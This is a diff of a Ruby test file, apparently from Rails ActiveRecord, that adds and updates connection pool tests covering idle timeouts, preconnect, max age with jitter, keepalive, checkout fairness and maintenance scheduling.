+        idle_conn.instance_variable_set(
+          :@idle_since,
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - 199
+        )
+
+        @pool.flush
+        assert_equal 1, @pool.connections.length
+
+        idle_conn.instance_variable_set(
+          :@idle_since,
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - 201
+        )
+
+        @pool.flush
+        assert_equal 0, @pool.connections.length
+      end
+
+      def test_min_connections_configuration
+        @pool.disconnect!
+
+        @pool = new_pool_with_options(min_connections: 1)
+
+        @pool.activate
+        @pool.prepopulate
+        assert_equal 1, @pool.connections.length
+      end
+
+      def test_idle_timeout_configuration_with_min_connections
+        @pool.disconnect!
+
+        @pool = new_pool_with_options(idle_timeout: "200", min_connections: 1)
+        connections = 2.times.map { @pool.checkout }
+        connections.each { |conn| @pool.checkin(conn) }
+
+        connections.each do |conn|
+          conn.instance_variable_set(
+            :@idle_since,
+            Process.clock_gettime(Process::CLOCK_MONOTONIC) - 199
+          )
+        end
+
+        @pool.flush
+        assert_equal 2, @pool.connections.length
+
+        connections.each do |conn|
+          conn.instance_variable_set(
+            :@idle_since,
+            Process.clock_gettime(Process::CLOCK_MONOTONIC) - 201
+          )
+        end
+
+        @pool.flush
+        assert_equal 1, @pool.connections.length
+      end
+
+      def test_disable_flush
+        @pool.disconnect!
+
+        @pool = new_pool_with_options(idle_timeout: -5)
+        idle_conn = @pool.checkout
+        @pool.checkin(idle_conn)
+
+        idle_conn.instance_variable_set(
+          :@idle_since,
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - 1
+        )
+
+        @pool.flush
+        assert_equal 1, @pool.connections.length
+      end
+
+      def test_flush
+        idle_conn = @pool.checkout
+        recent_conn = @pool.checkout
+        active_conn = @pool.checkout
+
+        @pool.checkin idle_conn
+        @pool.checkin recent_conn
+
+        assert_equal 3, @pool.connections.length
+
+        idle_conn.instance_variable_set(
+          :@idle_since,
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - 1000
+        )
+
+        @pool.flush(30)
+
+        assert_equal 2, @pool.connections.length
+
+        assert_equal [recent_conn, active_conn].sort_by(&:__id__), @pool.connections.sort_by(&:__id__)
+      ensure
+        @pool.checkin active_conn
+      end
+
+      def test_flush_bang
+        idle_conn = @pool.checkout
+        recent_conn = @pool.checkout
+        active_conn = @pool.checkout
+        _dead_conn = new_thread { @pool.checkout }.join
+
+        @pool.checkin idle_conn
+        @pool.checkin recent_conn
+
+        assert_equal 4, @pool.connections.length
+
+        def idle_conn.seconds_idle
+          1000
+        end
+
+        @pool.flush!
+
+        assert_equal 1, @pool.connections.length
+
+        assert_equal [active_conn].sort_by(&:__id__), @pool.connections.sort_by(&:__id__)
+      ensure
+        @pool.checkin active_conn
+      end
+
+      def test_automatic_activation
+        assert_not_predicate @pool, :activated?
+
+        # Checkout on root thread does not activate the pool
+        own_conn = @pool.checkout
+
+        assert_not_predicate @pool, :activated?
+
+        new_thread do
+          # Checkout on new thread activates the pool
+          conn = @pool.checkout
+
+          assert_predicate @pool, :activated?
+          @pool.checkin conn
+        end.join
+
+        @pool.checkin own_conn
+
+        # Pool remains activated
+        assert_predicate @pool, :activated?
+
+        # flush! deactivates the pool
+        @pool.flush!
+
+        assert_not_predicate @pool, :activated?
+
+        new_thread do
+          @pool.checkin(@pool.checkout)
+        end.join
+
+        # Off-thread checkout re-activates
+        assert_predicate @pool, :activated?
+      end
+
+      def test_prepopulate
+        pool = new_pool_with_options(min_connections: 3, max_connections: 3, async: false)
+
+        assert_equal 0, pool.connections.length
+        assert_not_predicate pool, :activated?
+
+        # Pool is not activated, so prepopulate is a no-op
+        pool.prepopulate
+
+        assert_equal 0, pool.connections.length
+        pool.activate
+
+        assert_predicate pool, :activated?
+        pool.prepopulate
+
+        assert_equal 3, pool.connections.length
+      end
+
+      def test_preconnect
+        pool = new_pool_with_options(min_connections: 3, max_connections: 3, async: false)
+        pool.activate
+        pool.prepopulate
+
+        assert_equal 3, pool.connections.length
+        pool.connections.each do |conn|
+          assert_not_predicate conn, :connected?
+        end
+
+        pool.preconnect
+
+        assert_equal 3, pool.connections.length
+        pool.connections.each do |conn|
+          assert_predicate conn, :connected?
+        end
+      end
+
+      def test_prepopulated_connections_have_allow_preconnect_true
+        pool = new_pool_with_options(min_connections: 2, max_connections: 5, async: false)
+        pool.activate
+        pool.prepopulate
+
+        assert_equal 2, pool.connections.length
+        pool.connections.each do |conn|
+          assert_equal true, conn.allow_preconnect
+        end
+      end
+
+      def test_normal_checkout_connections_have_allow_preconnect_false
+        pool = new_pool_with_options(min_connections: 0, max_connections: 5, async: false)
+        pool.activate
+
+        conn = pool.checkout
+        assert_equal false, conn.allow_preconnect
+      ensure
+        pool.checkin(conn) if conn
+      end
+
+      def test_preconnect_only_connects_allow_preconnect_connections
+        pool = new_pool_with_options(min_connections: 2, max_connections: 5, async: false)
+        pool.activate
+        pool.prepopulate
+
+        # Prepopulated connections should have allow_preconnect = true
+        assert_equal 2, pool.connections.length
+
+        # Checkout all prepopulated connections to force creation of a new one
+        conn1 = pool.checkout
+        conn2 = pool.checkout
+
+        # Now checkout will create a new connection (allow_preconnect = false)
+        conn3 = pool.checkout
+        assert_equal false, conn3.allow_preconnect
+
+        # Return them all
+        pool.checkin(conn1)
+        pool.checkin(conn2)
+        pool.checkin(conn3)
+
+        # Verify we have 3 total connections now
+        assert_equal 3, pool.connections.length
+
+        # None should be connected yet
+        pool.connections.each do |c|
+          assert_not_predicate c, :connected?
+        end
+
+        # Run preconnect
+        pool.preconnect
+
+        # Only the 2 prepopulated connections (with allow_preconnect = true) should be connected
+        connected_count = pool.connections.count(&:connected?)
+        assert_equal 2, connected_count
+
+        # The normal checkout connection should still not be connected
+        assert_not_predicate conn3, :connected?
+      end
+
+      def test_max_age
+        pool = new_pool_with_options(max_age: 10, pool_jitter: 0, async: false)
+
+        conn = pool.checkout
+
+        assert_not_predicate conn, :connected?
+        assert_nil conn.connection_age
+
+        conn.connect!
+
+        assert_predicate conn, :connected?
+        assert_operator conn.connection_age, :>=, 0
+        assert_operator conn.connection_age, :<, 1
+
+        conn.instance_variable_set(:@connected_since, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 11)
+
+        assert_operator conn.connection_age, :>, 10
+
+        pool.checkin conn
+        pool.retire_old_connections
+
+        assert_not_predicate conn, :connected?
+      end
+
+      def test_max_age_with_jitter
+        pool = new_pool_with_options(max_age: 20, pool_jitter: 0, async: false)
+
+        conn = pool.checkout
+        conn.instance_variable_set(:@pool_jitter, 0.5)
+
+        assert_not_predicate conn, :connected?
+        assert_nil conn.connection_age
+
+        conn.connect!
+
+        assert_predicate conn, :connected?
+        assert_operator conn.connection_age, :>=, 0
+        assert_operator conn.connection_age, :<, 1
+
+        conn.instance_variable_set(:@connected_since, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 11)
+
+        assert_operator conn.connection_age, :>, 10
+
+        pool.checkin conn
+        pool.retire_old_connections
+
+        assert_not_predicate conn, :connected?
+      end
+
+      def test_jitter_calculated_on_new_connections
+        pool = new_pool_with_options(max_age: 10, pool_jitter: 0.5, async: false)
+
+        conns = 4.times.map { pool.checkout }
+
+        observed_jitters = conns.map { |conn| conn.instance_variable_get(:@pool_jitter) }
+
+        assert_operator observed_jitters.min, :>=, 0.0
+        assert_operator observed_jitters.max, :>, 0.0 # statistically impossible to get all zeros
+        assert_operator observed_jitters.max, :<=, 0.5
+      end
+
+      def test_jitter_evaluation
+        pool = new_pool_with_options(max_age: 10, pool_jitter: 0.5, async: false)
+        conn = pool.checkout
+
+        conn.instance_variable_set(:@pool_jitter, 0.25)
+
+        assert_equal 75, conn.pool_jitter(100)
+      end
+
+      def test_explicit_retirement
+        pool = new_pool_with_options(max_age: nil, async: false)
+
+        conn = pool.checkout
+
+        assert_not_predicate conn, :connected?
+        assert_nil conn.connection_age
+
+        conn.connect!
+
+        assert_predicate conn, :connected?
+        assert_operator conn.connection_age, :>=, 0
+        assert_operator conn.connection_age, :<, 1
+
+        pool.recycle!
+
+        assert_equal Float::INFINITY, conn.connection_age
+
+        pool.checkin conn
+        pool.retire_old_connections
+
+        assert_not_predicate conn, :connected?
+      end
+
+      def test_keepalive
+        pool = new_pool_with_options(keepalive: 100, pool_jitter: 0, async: false)
+        conn = pool.checkout
+        conn.connect!
+        pool.checkin conn
+
+        assert_operator conn.seconds_since_last_activity, :<, 5
+
+        conn.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 50)
+
+        assert_in_epsilon 50, conn.seconds_since_last_activity, 10
+
+        # we're currently below the threshold, so this is a no-op
+        pool.keep_alive
+
+        # still about the same age
+        assert_in_epsilon 50, conn.seconds_since_last_activity, 10
+
+        conn.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 150)
+
+        pool.keep_alive
+
+        # keep-alive query occurred, so our activity time has reset
+        assert_operator conn.seconds_since_last_activity, :<, 5
+      end
+
+      def test_keepalive_with_jitter
+        pool = new_pool_with_options(keepalive: 200, pool_jitter: 0, async: false)
+        conn = pool.checkout
+        conn.instance_variable_set(:@pool_jitter, 0.5)
+        conn.connect!
+        pool.checkin conn
+
+        assert_operator conn.seconds_since_last_activity, :<, 5
+
+        conn.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 50)
+
+        assert_in_epsilon 50, conn.seconds_since_last_activity, 10
+
+        # we're currently below the threshold, so this is a no-op
+        pool.keep_alive
+
+        # still about the same age
+        assert_in_epsilon 50, conn.seconds_since_last_activity, 10
+
+        conn.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 150)
+
+        pool.keep_alive
+
+        # keep-alive query occurred, so our activity time has reset
+        assert_operator conn.seconds_since_last_activity, :<, 5
+      end
+
+      def test_keepalive_notices_problems
+        pool = new_pool_with_options(keepalive: 100, pool_jitter: 0, async: false)
+        conn = pool.checkout
+        conn.connect!
+        pool.checkin conn
+
+        original_broken_connection = conn.instance_variable_get(:@raw_connection)
+
+        assert_predicate conn, :connected?
+
+        # This is a definite API violation -- several nearby tests overstep by
+        # poking around unowned connections' bookkeeping, but actually querying
+        # (as #remote_disconnect does) without owning the connection is extreme.
+        # In practice, though, it should be fine: the pool belongs to this test,
+        # so the only other thread we could be competing with is the pool's
+        # reaper.
+        remote_disconnect conn
+
+        assert_same original_broken_connection, conn.instance_variable_get(:@raw_connection)
+
+        # we're below the threshold; no keep-alive occurs
+        pool.keep_alive
+
+        # connection is still [unknowingly] broken
+        assert_same original_broken_connection, conn.instance_variable_get(:@raw_connection)
+        assert_predicate conn, :connected?
+        assert_not_predicate conn, :active?
+
+        conn.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 200)
+        pool.keep_alive
+
+        # keep-alive noticed the problem and disconnected
+        assert_not_predicate conn, :connected?
+
+        # .. so now preconnect can repair the connection
+        pool.preconnect
+
+        assert_not_same original_broken_connection, conn.instance_variable_get(:@raw_connection)
+        assert_predicate conn, :connected?
+        assert_predicate conn, :active?
+      end
+
+      def test_idle_through_keepalive
+        pool = new_pool_with_options(keepalive: 0.1, pool_jitter: 0, idle_timeout: 0.5, async: false, reaping_frequency: 30)
+        conn = pool.checkout
+        conn.connect!
+        pool.checkin conn
+
+        assert_predicate conn, :connected?
+        assert_operator conn.seconds_since_last_activity, :<, 0.1
+        assert_operator conn.seconds_idle, :<, 0.1
+
+        # This test is about the interaction between multiple "last use"
+        # timers, so manual fudging is a bit too intimate / relies on
+        # knowledge of the implementation. So instead, we have to live
+        # with a bit of sleeping (and hope we don't lose any races).
+
+        sleep 0.2
+
+        assert_operator conn.seconds_since_last_activity, :>, 0.1
+        assert_operator conn.seconds_idle, :>, 0.1
+        assert_operator conn.seconds_idle, :<, 0.5
+
+        pool.keep_alive # sends a keep-alive query
+        pool.flush # no-op
+
+        assert_predicate conn, :connected?
+        assert_operator conn.seconds_since_last_activity, :<, 0.1
+        assert_operator conn.seconds_idle, :>, 0.1
+        assert_operator conn.seconds_idle, :<, 0.5
+
+        sleep 0.4
+
+        assert_predicate conn, :connected?
+        assert_operator conn.seconds_since_last_activity, :>, 0.1
+        assert_operator conn.seconds_idle, :>, 0.5
+
+        pool.keep_alive # sends another query, though it doesn't matter
+        pool.flush # drops the idle connection
+
+        assert_not_predicate conn, :connected?
+      end
+
       def test_remove_connection
         conn = @pool.checkout
-        assert conn.in_use?
+        assert_predicate conn, :in_use?
 
         length = @pool.connections.length
         @pool.remove conn
-        assert conn.in_use?
+        assert_predicate conn, :in_use?
         assert_equal(length - 1, @pool.connections.length)
       ensure
         conn.close
       end
 
       def test_remove_connection_for_thread
-        conn = @pool.connection
+        conn = @pool.lease_connection
         @pool.remove conn
-        assert_not_equal(conn, @pool.connection)
+        assert_not_equal(conn, @pool.lease_connection)
       ensure
         conn.close if conn
       end
 
       def test_active_connection?
-        assert !@pool.active_connection?
-        assert @pool.connection
-        assert @pool.active_connection?
+        assert_not_predicate @pool, :active_connection?
+        assert @pool.lease_connection
+        assert_predicate @pool, :active_connection?
         @pool.release_connection
-        assert !@pool.active_connection?
+        assert_not_predicate @pool, :active_connection?
       end
 
-      def test_checkout_behaviour
-        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
-        main_connection = pool.connection
+      def test_checkout_behavior
+        pool = ConnectionPool.new(@pool_config)
+        main_connection = pool.lease_connection
         assert_not_nil main_connection
         threads = []
         4.times do |i|
-          threads << Thread.new(i) do
-            thread_connection = pool.connection
+          threads << new_thread(i) do
+            thread_connection = pool.lease_connection
             assert_not_nil thread_connection
             thread_connection.close
           end
@@ -197,10 +790,20 @@ def test_checkout_behaviour
 
         threads.each(&:join)
 
-        Thread.new do
-          assert pool.connection
-          pool.connection.close
+        new_thread do
+          assert pool.lease_connection
+          pool.lease_connection.close
         end.join
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_checkout_order_is_lifo
+        conn1 = @pool.checkout
+        conn2 = @pool.checkout
+        @pool.checkin conn1
+        @pool.checkin conn2
+        assert_equal [conn2, conn1], 2.times.map { @pool.checkout }
       end
 
       # The connection pool is "fair" if threads waiting for
@@ -217,30 +820,39 @@ def test_checkout_behaviour
       # available connections slowly, ensuring the wakeup order is
       # correct in this case.
       def test_checkout_fairness
-        @pool.instance_variable_set(:@size, 10)
+        skip_fiber_testing
+
+        @pool.instance_variable_set(:@max_connections, 10)
         expected = (1..@pool.size).to_a.freeze
         # check out all connections so our threads start out waiting
         conns = expected.map { @pool.checkout }
         mutex = Mutex.new
         order = []
         errors = []
+        dispose_held_connections = Concurrent::Event.new
 
         threads = expected.map do |i|
-          t = Thread.new {
+          t = new_thread {
             begin
               @pool.checkout # never checked back in
               mutex.synchronize { order << i }
+
+              # if the thread terminates, its connection may be
+              # reclaimed by the pool, so we need to hold on to it
+              # until we're done trickling in connections
+              dispose_held_connections.wait
             rescue => e
               mutex.synchronize { errors << e }
             end
           }
-          Thread.pass until @pool.num_waiting_in_queue == i
+          pass_to(t) until @pool.num_waiting_in_queue == i
           t
         end
 
         # this should wake up the waiting threads one by one in order
-        conns.each { |conn| @pool.checkin(conn); sleep 0.1 }
+        conns.each { |conn| @pool.checkin(conn); sleep 0.01 }
 
+        dispose_held_connections.set
         threads.each(&:join)
 
         raise errors.first if errors.any?
@@ -255,23 +867,28 @@ def test_checkout_fairness
       # group1 threads, and the fact that only group1 and no group2
       # threads acquired a connection is enforced.
       def test_checkout_fairness_by_group
-        @pool.instance_variable_set(:@size, 10)
+        skip_fiber_testing
+
+        @pool.instance_variable_set(:@max_connections, 10)
         # take all the connections
         conns = (1..10).map { @pool.checkout }
         mutex = Mutex.new
         successes = []    # threads that successfully got a connection
         errors = []
+        dispose_held_connections = Concurrent::Event.new
 
         make_thread = proc do |i|
-          t = Thread.new {
+          t = new_thread {
             begin
               @pool.checkout # never checked back in
               mutex.synchronize { successes << i }
+
+              dispose_held_connections.wait
             rescue => e
               mutex.synchronize { errors << e }
             end
           }
-          Thread.pass until @pool.num_waiting_in_queue == i
+          pass_to(t) until @pool.num_waiting_in_queue == i
           t
         end
 
@@ -297,6 +914,7 @@ def test_checkout_fairness_by_group
         winners = mutex.synchronize { successes.dup }
         checkin.call(group2.size)         # should wake up everyone remaining
 
+        dispose_held_connections.set
         group1.each(&:join)
         group2.each(&:join)
 
@@ -307,28 +925,117 @@ def test_checkout_fairness_by_group
         end
       end
 
-      def test_automatic_reconnect=
-        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+      def test_automatic_reconnect_restores_after_disconnect
+        pool = ConnectionPool.new(@pool_config)
         assert pool.automatic_reconnect
-        assert pool.connection
+        assert pool.lease_connection
 
         pool.disconnect!
-        assert pool.connection
+        assert pool.lease_connection
+      ensure
+        pool&.disconnect!
+      end
 
+      def test_automatic_reconnect_can_be_disabled
+        pool = ConnectionPool.new(@pool_config)
         pool.disconnect!
         pool.automatic_reconnect = false
 
         assert_raises(ConnectionNotEstablished) do
-          pool.connection
+          pool.lease_connection
         end
 
         assert_raises(ConnectionNotEstablished) do
           pool.with_connection
         end
+      ensure
+        pool&.disconnect!
       end
 
       def test_pool_sets_connection_visitor
-        assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql)
+        assert @pool.lease_connection.visitor.is_a?(Arel::Visitors::ToSql)
+      end
+
+      #--
+      # This is testing a private method... but testing its public
+      # callers would be much more complicated, as well as needing
+      # duplicate coverage.
+      def test_sequential_maintenance_loop_is_incremental
+        work_queue = []
+        work_collector = Object.new
+        work_collector.define_singleton_method(:post) do |&block|
+          work_queue << block
+        end
+
+        completion_list = []
+        selection_list = []
+
+        @pool.instance_variable_set(:@max_connections, 3)
+        @pool.instance_variable_set(:@async_executor, work_collector)
+
+        3.times.map { @pool.checkout }.each do |conn|
+          @pool.checkin conn
+        end
+
+        selector = lambda do |conn|
+          assert_not_predicate conn, :in_use?
+          assert_equal 3, @pool.num_available_in_queue
+
+          selection_list << conn
+          true
+        end
+
+        pool.send(:sequential_maintenance, selector) do |conn|
+          assert_predicate conn, :in_use?
+          assert_equal 2, @pool.num_available_in_queue
+
+          completion_list << conn
+        end
+
+        # final iteration determines there's no more work to do
+        4.times do
+          assert_equal 1, work_queue.size
+          work_queue.shift.call
+          assert_equal 3, @pool.num_available_in_queue
+        end
+        assert_equal 0, work_queue.size
+
+        assert_equal 3, completion_list.size
+        assert_equal 3 * 4, selection_list.size
+      end
+
+      def test_sequential_maintenance_can_run_inline
+        completion_list = []
+        selection_list = []
+
+        @pool.instance_variable_set(:@max_connections, 3)
+        @pool.instance_variable_set(:@async_executor, nil)
+
+        3.times.map { @pool.checkout }.each do |conn|
+          @pool.checkin conn
+        end
+
+        selector = lambda do |conn|
+          assert_not_predicate conn, :in_use?
+          assert_equal 3, @pool.num_available_in_queue
+
+          selection_list << conn
+          true
+        end
+
+        pool.send(:sequential_maintenance, selector) do |conn|
+          assert_predicate conn, :in_use?
+          assert_equal 2, @pool.num_available_in_queue
+
+          completion_list << conn
+        end
+
+        assert_equal 3, @pool.num_available_in_queue
+
+        assert_equal 3, completion_list.size
+
+        # final iteration determines there's no more work to do
+        assert_equal 3 * 4, selection_list.size
       end
 
       # make sure exceptions are thrown when establish_connection
@@ -341,38 +1048,69 @@ def test_anonymous_class_exception
         end
       end
 
-      class ConnectionTestModel < ActiveRecord::Base
+      def test_connection_notification_is_called
+        payloads = []
+        subscription = ActiveSupport::Notifications.subscribe("!connection.active_record") do |name, started, finished, unique_id, payload|
+          payloads << payload
+        end
+
+        @connection_test_model_class.establish_connection :arunit
+
+        assert_equal [:config, :connection_name, :role, :shard], payloads[0].keys.sort
+        assert_equal @connection_test_model_class.name, payloads[0][:connection_name]
+        assert_equal ActiveRecord::Base.default_shard, payloads[0][:shard]
+        assert_equal :writing, payloads[0][:role]
+      ensure
+        @connection_test_model_class.remove_connection
+        ActiveSupport::Notifications.unsubscribe(subscription) if subscription
       end
 
-      def test_connection_notification_is_called
+      def test_connection_notification_is_called_for_shard
         payloads = []
         subscription = ActiveSupport::Notifications.subscribe("!connection.active_record") do |name, started, finished, unique_id, payload|
           payloads << payload
         end
-        ConnectionTestModel.establish_connection :arunit
+        @connection_test_model_class.connects_to shards: { default: { writing: :arunit } }
 
-        assert_equal [:config, :connection_id, :spec_name], payloads[0].keys.sort
-        assert_equal "ActiveRecord::ConnectionAdapters::ConnectionPoolTest::ConnectionTestModel", payloads[0][:spec_name]
+        assert_equal [:config, :connection_name, :role, :shard], payloads[0].keys.sort
+        assert_equal @connection_test_model_class.name, payloads[0][:connection_name]
+        assert_equal :default, payloads[0][:shard]
+        assert_equal :writing, payloads[0][:role]
       ensure
+        @connection_test_model_class.remove_connection
         ActiveSupport::Notifications.unsubscribe(subscription) if subscription
       end
 
+      def test_sets_pool_schema_reflection
+        pool.schema_cache.add(:posts)
+        assert pool.schema_cache.cached?(:posts)
+
+        pool.schema_reflection = SchemaReflection.new("does-not-exist")
+        assert_not pool.schema_cache.cached?(:posts)
+
+        pool.schema_cache.add(:posts)
+        assert pool.schema_cache.cached?(:posts)
+      end
+
       def test_pool_sets_connection_schema_cache
+        pool.schema_cache.add(:posts)
         connection = pool.checkout
-        schema_cache = SchemaCache.new connection
-        schema_cache.add(:posts)
-        pool.schema_cache = schema_cache
 
         pool.with_connection do |conn|
-          assert_not_same pool.schema_cache, conn.schema_cache
-          assert_equal pool.schema_cache.size, conn.schema_cache.size
-          assert_same pool.schema_cache.columns(:posts), conn.schema_cache.columns(:posts)
+          # We've retrieved a second, distinct, connection from the pool
+          assert_not_same connection, conn
+
+          # But the new connection can already see the schema cache
+          # entry we added above
+          assert_equal connection.schema_cache.size, conn.schema_cache.size
+          assert_same connection.schema_cache.columns(:posts), conn.schema_cache.columns(:posts)
         end
 
         pool.checkin connection
       end
 
       def test_concurrent_connection_establishment
+        skip_fiber_testing
         assert_operator @pool.connections.size, :<=, 1
 
         all_threads_in_new_connection = Concurrent::CountDownLatch.new(@pool.size - @pool.connections.size)
@@ -388,7 +1126,7 @@ def test_concurrent_connection_establishment
 
         connecting_threads = []
         @pool.size.times do
-          connecting_threads << Thread.new { @pool.checkout }
+          connecting_threads << new_thread { @pool.checkout }
         end
 
         begin
@@ -408,78 +1146,152 @@ def test_concurrent_connection_establishment
         end
       end
 
+      def test_checkout_queues_behind_maintenance_connections
+        skip_fiber_testing
+
+        pool = new_pool_with_options(max_connections: 3, reaping_frequency: nil, async: false)
+
+        # Set up pool with 2 connections: one available, one checked out
+        conn1 = pool.checkout
+        conn2 = pool.checkout
+        pool.checkin(conn1)
+
+        maintenance_started = Concurrent::Event.new
+        maintenance_continuing = Concurrent::Event.new
+        checkout_complete = Concurrent::Event.new
+
+        maintenance_thread = new_thread do
+          n = 0
+
+          pool.send(:sequential_maintenance, proc { true }) do |_|
+            maintenance_started.set
+            maintenance_continuing.wait
+
+            n += 1
+          end
+
+          n
+        end
+
+        maintenance_started.wait
+
+        checkout_thread = new_thread do
+          conn = pool.checkout # blocks waiting for the in-maintenance connection
+
+          checkout_complete.set
+          pool.checkin(conn)
+          conn
+        end
+
+        # Give the checkout attempt time to start blocking
+        sleep 0.01
+
+        # checkout_thread is now waiting; #checkout has not returned
+        assert_equal 1, pool.num_waiting_in_queue
+        assert_not checkout_complete.set?
+
+        # Release maintenance, allowing checkout to occur
+        maintenance_continuing.set
+
+        # After checkout_thread is complete: confirm it got the connection we
+        # were previously maintaining
+        assert_equal conn1, checkout_thread.value
+
+        # Correspondingly, no new third connection was created
+        assert_equal 2, pool.connections.size
+
+        # Maintenance only visited the available connection (and only once)
+        assert_equal 1, maintenance_thread.value
+
+        pool.checkin(conn2)
+      end
+
       def test_non_bang_disconnect_and_clear_reloadable_connections_throw_exception_if_threads_dont_return_their_conns
+        Thread.report_on_exception, original_report_on_exception = false, Thread.report_on_exception
         @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout
         [:disconnect, :clear_reloadable_connections].each do |group_action_method|
           @pool.with_connection do |connection|
-            assert_raises(ExclusiveConnectionTimeoutError) do
-              Thread.new { @pool.send(group_action_method) }.join
+            error = assert_raises(ExclusiveConnectionTimeoutError) do
+              new_thread { @pool.public_send(group_action_method) }.join
             end
+            assert_equal @pool, error.connection_pool
           end
         end
+      ensure
+        Thread.report_on_exception = original_report_on_exception
       end
 
       def test_disconnect_and_clear_reloadable_connections_attempt_to_wait_for_threads_to_return_their_conns
+        skip_fiber_testing
+        @pool.checkout_timeout = 1.0 # allow extra time for our thread to get stuck
         [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method|
-          begin
-            thread = timed_join_result = nil
-            @pool.with_connection do |connection|
-              thread = Thread.new { @pool.send(group_action_method) }
-
-              # give the other `thread` some time to get stuck in `group_action_method`
-              timed_join_result = thread.join(0.3)
-              # thread.join # => `nil` means the other thread hasn't finished running and is still waiting for us to
-              # release our connection
-              assert_nil timed_join_result
-
-              # assert that since this is within default timeout our connection hasn't been forcefully taken away from us
-              assert @pool.active_connection?
-            end
-          ensure
-            thread.join if thread && !timed_join_result # clean up the other thread
+          thread = timed_join_result = nil
+          @pool.with_connection do |connection|
+            thread = new_thread { @pool.send(group_action_method) }
+
+            # give the other `thread` some time to get stuck in `group_action_method`
+            timed_join_result = thread.join(0.3)
+            # thread.join # => `nil` means the other thread hasn't finished running and is still waiting for us to
+            # release our connection
+            assert_nil timed_join_result
+
+            # assert that since this is within default timeout our connection hasn't been forcefully taken away from us
+            assert_predicate @pool, :active_connection?
           end
+        ensure
+          thread.join if thread && !timed_join_result # clean up the other thread
         end
       end
 
       def test_bang_versions_of_disconnect_and_clear_reloadable_connections_if_unable_to_acquire_all_connections_proceed_anyway
         @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout
-        [:disconnect!, :clear_reloadable_connections!].each do |group_action_method|
-          @pool.with_connection do |connection|
-            Thread.new { @pool.send(group_action_method) }.join
-            # assert connection has been forcefully taken away from us
-            assert_not @pool.active_connection?
 
-            # make a new connection for with_connection to clean up
-            @pool.connection
-          end
+        @pool.with_connection do |connection|
+          new_thread { @pool.disconnect! }.join
+          # assert connection has been forcefully taken away from us
+          assert_not_predicate @pool, :active_connection?
+
+          # make a new connection for with_connection to clean up
+          @pool.lease_connection
+        end
+        @pool.release_connection
+
+        @pool.with_connection do |connection|
+          new_thread { @pool.clear_reloadable_connections! }.join
+          # assert connection has been forcefully taken away from us
+          assert_not_predicate @pool, :active_connection?
+
+          # make a new connection for with_connection to clean up
+          @pool.lease_connection
         end
       end
 
       def test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_waiting_threads
-        with_single_connection_pool do |pool|
+        skip_fiber_testing
+        with_single_connection_pool(checkout_timeout: 1.0) do |pool|
           [:disconnect, :disconnect!, :clear_reloadable_connections, :clear_reloadable_connections!].each do |group_action_method|
-            conn               = pool.connection # drain the only available connection
+            conn               = pool.lease_connection # drain the only available connection
             second_thread_done = Concurrent::Event.new
 
             begin
               # create a first_thread and let it get into the FIFO queue first
-              first_thread = Thread.new do
+              first_thread = new_thread do
                 pool.with_connection { second_thread_done.wait }
               end
 
               # wait for first_thread to get in queue
-              Thread.pass until pool.num_waiting_in_queue == 1
+              pass_to(first_thread) until pool.num_waiting_in_queue == 1
 
               # create a different, later thread, that will attempt to do a "group action",
               # but because of the group action semantics it should be able to preempt the
               # first_thread when a connection is made available
-              second_thread = Thread.new do
+              second_thread = new_thread do
                 pool.send(group_action_method)
                 second_thread_done.set
               end
 
               # wait for second_thread to get in queue
-              Thread.pass until pool.num_waiting_in_queue == 2
+              pass_to(second_thread) until pool.num_waiting_in_queue == 2
 
               # return the only available connection
               pool.checkin(conn)
@@ -496,21 +1308,8 @@ def test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_w
               if failed
                 second_thread_done.set
 
-                puts
-                puts ">>> test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_waiting_threads / #{group_action_method}"
-                p [first_thread, second_thread]
-                p pool.stat
-                p pool.connections.map(&:owner)
-
-                first_thread.join(2)
-                second_thread.join(2)
-
-                puts "---"
-                p [first_thread, second_thread]
-                p pool.stat
-                p pool.connections.map(&:owner)
-                puts "<<<"
-                puts
+                first_thread&.join(2)
+                second_thread&.join(2)
               end
 
               first_thread.join(10) || raise("first_thread got stuck")
@@ -521,18 +1320,19 @@ def test_disconnect_and_clear_reloadable_connections_are_able_to_preempt_other_w
       end
 
       def test_clear_reloadable_connections_creates_new_connections_for_waiting_threads_if_necessary
-        with_single_connection_pool do |pool|
-          conn = pool.connection # drain the only available connection
+        skip_fiber_testing
+        with_single_connection_pool(checkout_timeout: 1.0) do |pool|
+          conn = pool.lease_connection # drain the only available connection
           def conn.requires_reloading? # make sure it gets removed from the pool by clear_reloadable_connections
             true
           end
 
-          stuck_thread = Thread.new do
-            pool.with_connection {}
+          stuck_thread = new_thread do
+            pool.with_connection { }
           end
 
           # wait for stuck_thread to get in queue
-          Thread.pass until pool.num_waiting_in_queue == 1
+          pass_to(stuck_thread) until pool.num_waiting_in_queue == 1
 
           pool.clear_reloadable_connections
 
@@ -545,33 +1345,412 @@ def conn.requires_reloading? # make sure it gets removed from the pool by clear_
       end
 
       def test_connection_pool_stat
+        Thread.report_on_exception, original_report_on_exception = false, Thread.report_on_exception
         with_single_connection_pool do |pool|
           pool.with_connection do |connection|
             stats = pool.stat
-            assert_equal({ size: 1, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }, stats)
+            assert_equal({ size: 1, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 0.2 }, stats)
           end
 
           stats = pool.stat
